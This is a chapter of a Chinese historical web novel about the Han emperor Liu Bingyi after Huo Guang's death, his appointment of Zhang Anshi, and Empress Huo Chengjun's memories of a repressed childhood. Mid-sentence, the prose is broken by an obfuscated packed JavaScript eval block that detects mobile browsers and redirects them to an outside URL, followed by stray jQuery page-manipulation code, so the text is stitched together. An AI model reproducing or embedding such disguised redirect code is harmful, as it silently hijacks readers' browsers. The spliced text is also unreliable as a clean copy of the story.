地节二年，春三月，庚午，大将军兼大司马霍光薨。


    这个消息石破天惊，宛如地动一般，震得整个长安城都晃了晃——


    大将军霍光，是早逝的冠军侯霍去病的异母弟弟。藉着这层身份，十来岁上就入了仕，从郎官、侍中、奉车都尉一直到了光禄大夫，侍奉孝武皇帝二十余年，谨言慎行，深得信重。武帝临崩以为托孤之臣，后辅佐昭帝，废立昏侯，拥立今上，总揆国政十余年，声威无两。


    而对寻常百姓来说，最直观的大约是霍大将军的外孙女儿嫁了先皇昭帝，现在贵为太皇太后，而女儿嫁了今上，乃是当朝皇后，身份和辈份齐齐高到不晓得怎么称呼。


    啧，这样的大人物办白事，怕是不比天家的阵仗小咧！


    相较于闾阎巷陌议论纷纷，朝野上下人人自危，未央宫里的当朝天子显得格外从容。听闻讣告后，天子便亲赴霍府为大将军治丧，从发丧、沐尸、装殓、停尸、直到出殡，种种繁琐事宜理得有条不紊，周全无遗。


    ……仿佛，已经默默演练过许多遍似的。


    就在霍光以帝王之仪出殡，陪葬茂陵后不久，天子连夜发了一道谕令——


    诏右将军张安世入宫。


    夤夜里，张安世被提灯的寺人引着，一路沿着宣政殿的遥长青阶拾级而上，四月初的夜风还裹挟着些微寒意，黑黢黢的暗夜里，他没由来地打了个寒噤——


    直到这一刻，他才清晰地意识到，自己是在害怕。


    其实，自从当今天子被霍光扶上帝位的那一天起，他便时常睡不踏实。而这种隐隐的夹杂着惧意的不安，在半个时辰前宫中内侍前来传诏的时候，骤然攀升到了顶点。


    他深吸了一口气，勉力平静着心绪，一抬眼，看到宣政殿的髹漆大门已近在眼前。


    从门口向内望去，只见六尊高大的十五盏连枝铜灯照得殿中彻亮。数丈长的纁红色筵席尽头，二十四岁的年轻天子跽坐在御案之后，束着寻常的高山冠，穿着一袭寻常的玄色直裾，但，即便这样只着常服，他通身也透着一派上位者的威势，给人以沉沉的压迫感。


    ——当年初到张家时那个瘦弱怯懦，连见了家丞都瑟瑟缩缩的孩子，几时已悄然脱胎换骨？


    行止殿中，居中而跪，稽首行礼，额头触到地筵的时候，张安世心里惶惶然迸出这么一个念头。


    “将军且起。”


    他听到上方的天子开口免了礼，开门见山，淡漠无温的语声一字字敲进耳里——


    “霍卿弃世，大将军之位虚悬，朕属意于将军。”


    这是口含天宪、生杀予夺的当朝天子颁下的一道谕旨，没有给他留下转寰的余地。


    张安世心头一颤。


    然后，刚刚从筵席上抬起的额头，又叩了下去，力道极重，隔着一层地筵与下头青砖狠狠磕撞，发出一声沉沉的闷响。


    随着这个动作，他伏在地上的四肢肩背都瑟瑟地颤了起来，仿佛心底里的惧意已经蔓延到了四肢百骸……整个人仿佛一只被猎人逼到了绝境的困兽，自知无力脱逃，只得瑟瑟发抖地低头乞怜，抵死挣扎以求得一线生机——


    “老臣材不堪任，不敢奉诏。”


    霍光历仕三朝，掌权廿年，其子霍禹、侄孙霍云正任着中郎将，两个女婿一个是未央宫卫尉，一个是长乐宫卫尉，此外还有许多旁枝姻亲在朝为官，牢牢把控着整个大汉的军政要权。


    整个霍氏仿佛一株根深叶茂的参天巨树，荫遮着其下的一方田亩，连天子也不过是光亮微弱的冬阳，那点儿恩泽，也得透过树隙才落得到田里来。


    如今，霍光一死，主干已断。


    天子，显然打算趁着霍光新死的契机，斫了这参天巨树当柴烧——而他，便是天子选定的那把刀。


    ——此事，且不说成败几何。即便侥幸成事，自大汉开国以来，凡一百三十四年，帝王手中剪除异己的刀刃，哪个得了善终？


    思及亡父张汤，张安世机伶伶打了个寒颤。


    原本，霍光既死，其子霍禹继任大将军，算得上顺理成章。倘若他一个外姓截了官，那便是不共戴天。而将来，若天子当真摧枯拉朽一般灭了霍氏，等着他的……大抵不过鸟尽弓藏、兔死狗烹。


    张氏一族阖府老小百多人，身为家中唯一勉力支撑的那根朽柱，他安敢行此险事？


    “将军且安心。”


    半晌静默后，御案后的天子终于发了话，仿佛是窥见了他的种种心思似的，青年淡漠的语声里泄出一丝丝讽意：“朕不打算过河拆桥”


    张安世闻言，身子只颤得更厉害，战战兢兢不敢应声。


    “掖庭令……已不在了。”


    再开口时，青年的声音轻低了些，少了沉沉的压迫感，竟仿佛带上了一点儿温度似的:“朕也只能在张家这儿还上几分香火。”


    “凡朕在位一日，便保张氏一日安泰富贵。只是，若将军——”


    天子的语声，刻意地停顿了下。


    跪在殿下的张安世勉力压住浑身的瑟瑟颤意，咬着齿关，深深吸了一口冷气：“臣，敬诺。”


    张安世退殿之后，刘病已听着他的脚步声渐轻渐远，终于……全然安静了下来。


    太静了。


    宣政殿很高，夜里连草虫声也没有。殿外安安静静，殿内也安安静静，静得能听到身后漆座屏旁边那盏连枝灯某个灯芯“哔咆”爆响的细微动静。


    他一个人，孑然坐在御案后头和重重的灯影作伴儿，许是坐得太久，看着不远处的连枝灯的焰心都有了重影，模模糊糊地晃得人头晕，他照例阖上眼睛，开始了每晚不辍的“功课”，冥想中又是那个几千个日夜以来历久弥新的片段……


    烛光有些暗的寝殿里，一具僵冷的女尸蜷缩在黑地朱绘的漆木床上，刚刚分娩过的身躯腹部有些臃肿，露出体外的肌肤惨白得怵目惊心，痉挛的双手死死拽着胸前的衣襟，唇角和指甲根尽是青紫……身上的白绢的中衣、身下的被褥早已被人换过，寻不见血迹。


    但，却令人更不敢细想，她死前究竟历经了怎样沦肌浃髓的痛楚与折磨。


    “……平君。”


    二十一岁的自己不敢靠近，僵立在距她数丈外的地方，声音仿佛梦呓，然后犹如催眠地阖上了自己的双眼——这是梦，只是梦，一定只是像以前许许多多个晚上一样的噩梦。


    只要这么静静熬着，一直熬下去，不管多可怕的梦，总会醒。


    可是，这个噩梦多欺负人啊，居然一直一直都不肯醒……就这么，魇住了他的整个余生。


    *


    大将军霍光的薨逝，着实让椒房殿的宫人们忙乱了一阵子。皇后才十六七岁，少年丧父，又这样突然，实在有些难于接受。


    殓葬事毕，她还是整天神色惶惶，和宫人说话的时候都有些木楞，夜里几乎每晚都会惊醒，汗透重衣……小半个月的工夫，就瘦得两颊彻底消了婴儿肥，下巴也尖了一圈儿。


    天子见了这般情形，忧心不已，索性每日一下朝就径直来椒房殿陪她。甚至，连章奏也搬到了椒房殿的小书房里批阅，每晚不论政务再繁冗，都是先哄她睡觉，再自己挑灯忙碌到寅夜。


    渐渐地，仿佛一株经霜冻坏的兰草被人移进室中精心护养似的，皇后情形日益好转，到了冬天，已经几乎看不出前阵子的憔悴模样了。只是，自然而然地，比先前更倚赖亲近陛下了。


    在宫人们看来，最直观的就是，皇后每日用过下餔，就开始静静地坐在侧室临窗的小漆几边，等着陛下下朝。


    ……今日，也是一样呢。


    霍成君静静坐着，透过近旁的那扇半开的菱格长窗，出神地看着远处檐角挂着的那轮霭红的夕阳……直到它一点点沉落下去，浓紫与暗金斑驳交杂的暮云渐渐褪色，连高处青蓝色的天穹也慢慢黯淡成了鸭蛋壳似的暗青色，她才发觉自己已经呆坐了许久。


    目光落向漆几上的青铜箭漏——整整一个时辰了么？


    其实，她很“擅长”这样坐着。


    从很小的时候起，就习惯安安静静地坐在某个地方，不跑不动，不吵不闹……为此，她家阿母颇是自得，曾许多回在宴间向人夸耀。


    每每总能赚得座间女眷们极口揄扬，纷纷赞她乖巧明礼。


    可这世上，哪儿有天生乖巧的孩子呢？


    她家阿母是父亲的继室，诞下她时也才不过初笄年纪，自己完全还是孩子脾气，根本带不了孩子。所以，她一直是府里的乳母和仆婢照看长大的。


    阿母对她，就像……像对一株明知贵重但却不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031380|178554||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么喜爱的花草，十分干脆地交予仆僮打理，责令他们精心护养。主人呢，则时常来瞧瞧它长势怎样，虽然偶尔也会洒水添肥，略微陪伴，但大多时候都觉得无趣。


    她就这么花草似的，一直长到了快两岁。


    小孩子蹒跚学步的时候，总免不了磕磕碰碰，即便十来个仆妇目不交睫地盯着，也保不了万全——


    她在两岁生辰前一晚，不知什么缘故，竟在院中兰坞边跌了一跤，右颊蹭破出了血，结了指甲盖大小一块儿血痂，三五日内都不好见人。


    而在此之前，她家阿母已经遍邀京中权贵，提前半月便开始筹备女儿的生辰宴，只等着在宴间凭新创的妆靥大出风头，听罢消息，雷霆大怒……当晚，生生杖毙了两名乳母和几名近身侍奉的婢子，其余仆从统统拖去西市发卖。


    她其时年纪太小，记忆模糊，唯一清晰的场景是那晚自己屋子里全是生面孔，她一惯怯生得很，吓得哭到半夜里，怎么都不肯睡……


    很快，新的乳母与仆妇便来到了她身边。


    不过，大约是有了前车之鉴，她们与她都不大亲近，且颇为聪明地懂得明哲保身——“小孩子么，不跑不跳，自然就摔不着，也磕碰不到了”。


    自那时起，她多半时候都是被关在屋子里学礼仪——两岁大点儿的孩子，旁的也学不会，最便宜地就是安安静静坐着，不许动、不许闹、不许哭也不许大笑。


    稍有违逆，就会被关在内室整整好几个时辰，暗漆漆静悄悄，一个人也见不到。


    这样慢慢地下来，她自然就学乖了，再不敢哭、不敢闹、不敢不听话了——甚至，后来，莫论是饿了冻了、疼了困了，她也统统安安静静，不敢作声。


    阿母对这样的成果有些意外，惊喜得很，赏了乳母好些绫绢不说，从此便极爱带着她赴宴与会了。


    而她自己，自那时起，最常做的事就是静静地坐在漆几边儿，不跑不动，一坐便能坐一两个时辰。


    慢慢长大些，也寻到了新的乐趣——看窗外的风景，日月往复，春秋代序，每每总会有些新意。


    只是，大将军府的垣墙太高，就像兽苑一重重的木栅困着那些走兽一样，这一重重的垣墙死死地困着她。困得她眼前就只有那么小小的一角天空，连看星辰日月都逼仄得可怜。


    “垣墙之外，到底是个什么模样？”


    她小时候也会忍不住冒出这样的念头，但从没有问出过口。


    后来，遂阿母的意思入了宫，发现这未央宫也是宫室勾连，垣墙重重，同大将军府没甚两样。


    ——不，不一样。


    她在这样遇到了一个人，一个她从没有奢望过的，像高树一般容她倚靠，又予她呵护的人。


    这世上，最最好的人。


    “圣人到——”


    她霍然揽衣起身，透过窗子正看到那人正穿过两侧骈阗而列的宫人，阔步走来……顾不上发麻的腿脚，她三步并作两步奔了出去。


    ……


    这天，用过夜餐，刘病已循例开始批阅章奏。


    她点了灯坐在离他不远的小漆几边逗蒲桃玩儿，间或替他研研墨，添点儿茶，惬意得很。


    “匈奴遭了雪灾么？”


    她研墨时见他眉峦紧锁，不由觑了眼那缃黄色帛书上的字迹，问。


    “嗯。”


    “那，于我们大汉不是好事么？”


    她有些不明白，匈奴削弱，大汉边境就能安宁些，怎么他反倒忧虑成这样儿？


    昏黄的灯火里，年轻的天子有些疲倦地按了按眉心：“若没有这场雪灾，匈奴部落今日尚可勉强度日。可，一旦遭灾，他们若不想冻死饿死，就只有南下劫掠了。”


    匈奴的南境，正是大汉北疆——敦煌、酒泉几郡，几度遭劫，生民百不遗一。


    “匈、匈奴人犯我大汉边境，只是为了不冻饿而死么？”


    她自小衣食优渥，听得错愕。


    “于这世上大多数人而言，吃饱穿暖，安然度日就已经是最奢侈的好日子了。”


    他垂下眼睑，目光落在案角那盏青铜兽面灯晃动的深紫色焰心上:“而且，凡人，其实都贪图踏实日子。只有——”


    “只有被逼到了绝境，才会豁出性命，殊死一博。”